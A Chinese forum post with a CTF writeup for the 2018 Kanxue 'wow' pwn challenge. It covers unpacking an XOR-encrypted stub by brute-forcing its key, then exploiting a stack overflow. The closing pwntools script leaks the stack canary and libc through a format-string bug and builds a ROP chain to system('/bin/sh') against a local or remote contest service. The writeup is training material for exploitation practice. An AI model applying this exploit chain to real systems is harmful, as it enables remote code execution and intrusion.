首页
社区
课程
招聘
[讨论]看雪CTF2018 - 第三题 PWN_wow Writeup
发表于: 2018-6-21 21:43 2139

[讨论]看雪CTF2018 - 第三题 PWN_wow Writeup

2018-6-21 21:43
2139
首先啊,查看程序,主程序以后跳转,有个小壳
.text:0000000000400866 L1_64:                                  ; CODE XREF: .text:0000000000400878↓j
.text:0000000000400866                                         ; .text:000000000040087D↓j
.text:0000000000400866                 mov     bl, [rax+rcx]
.text:0000000000400869                 xor     bl, dl
.text:000000000040086B                 mov     [rax+rcx], bl
.text:000000000040086E                 mov     dh, [rax+rcx-1]
.text:0000000000400872                 inc     rcx
.text:0000000000400875                 cmp     dh, 0FBh
.text:0000000000400878                 jz      short L1_64
.text:000000000040087A                 cmp     bl, 90h
.text:000000000040087D                 jnz     short L1_64
逐字异或,但是发现这个异或的结果每次都不同,于是发现需要输入6位密码,根据6位密码来异或
.text:000000000040083A                 xor     rax, rax
.text:000000000040083D                 mov     rdx, 6
.text:0000000000400844                 push    rax
.text:0000000000400845                 lea     rax, szCh
.text:000000000040084D                 mov     rsi, rax
.text:0000000000400850                 pop     rax
.text:0000000000400851                 mov     rdi, rax
.text:0000000000400854                 syscall                 ; LINUX -
然后跑一个idc脚本判断异或以后是FB 90
#include <idc.idc>
static main()
{
    auto ptr, i, a, b, k, x;
    k = 0;
    ptr = 0x40087F;
    i = 0;
    while(1)
    {
        a = Byte(ptr+i);
        b = Byte(ptr+i+1);
        for (x = 0; x <= 255; x++)
        {
            if(((a^x) == 0xFB)&&((b^x) == 0x90))
            {
                Message("%x\n",ptr+i);
                Message("%x\n",x);
                k++;
                break;
            }
        }
        if (k == 6)break;
        i++;
    }
    Message("good job\n");
}
于是得到解密密码evXnaK
然后解密成功,输出wow,继续观察程序
.text:0000000000400A30 xor     rax, rax
.text:0000000000400A33
.text:0000000000400A33 loc_400A33:                             ; CODE XREF: .text:L_J0↑j
.text:0000000000400A33 mov     rdx, 1Ah
.text:0000000000400A3A mov     rsi, rsp
.text:0000000000400A3D mov     ds:lpGoble, rsp
.text:0000000000400A45 mov     rdi, rax
.text:0000000000400A48 syscall                                 ; LINUX - sys_read
.text:0000000000400A4A mov     rax, cs:lpGoble
.text:0000000000400A51 mov     rdi, rax
.text:0000000000400A54 mov     eax, 0
.text:0000000000400A59 call    _printf
.text:0000000000400A5E xor     rax, rax
.text:0000000000400A61 mov     rdx, 200h
.text:0000000000400A68 lea     rsi, [rsp-20h]
.text:0000000000400A6D mov     rdi, rax
.text:0000000000400A70 syscall                                 ; LINUX - sys_read
.text:0000000000400A72 nop
读入然后输出再读入,这里可以栈溢出,但是发现开了GS保护,确定是使用rop
一开始想着用长字符串连接GS,然后实现程序复用,但是发现复用需要再检查一次GS,陷入僵局
然后吃了点东西,想到是格式化字符串漏洞(刚刚真是石乐志)
于是编写payload泄露出libc和gs
在payload中加入泄露出来的gs
得到最后的exp
from pwn import *
context(arch='amd64',os='linux')
context.log_level = 'debug'

debug = 1
if (debug==1):
	p = process('./wow')
else: 
	p = remote('139.199.99.130',65188)

p.recvuntil('***************************\n\n')
p.send('evXnaK')
p.recvuntil('wow!\n')
p.send('gs:%13$lx\nlibc:%15$lx\n')

p.recvuntil('gs:')
gs = p.recvline()[:-1]
p.recvuntil('libc:')
libc = p.recvline()[:-1]

gs = gs

gs = u64(gs.decode('hex')[::-1])
libc = u64(libc.decode('hex')[::-1]+'\x00\x00') - 0x20830
print('gs:'+hex(gs))
print('libc:'+hex(libc))

binsh = libc + 0x18CD57
rdi_ret = libc + 0x21102
system = libc + 0x45390

print('binsh:'+hex(binsh))
print('rdi_ret:'+hex(rdi_ret))
print('system:'+hex(system))


p.send(p64(0)*11 + p64(gs) + p64(0) + p64(rdi_ret) + p64(binsh) + p64(system))

p.interactive()



[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)

收藏
免费 0
支持
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回
//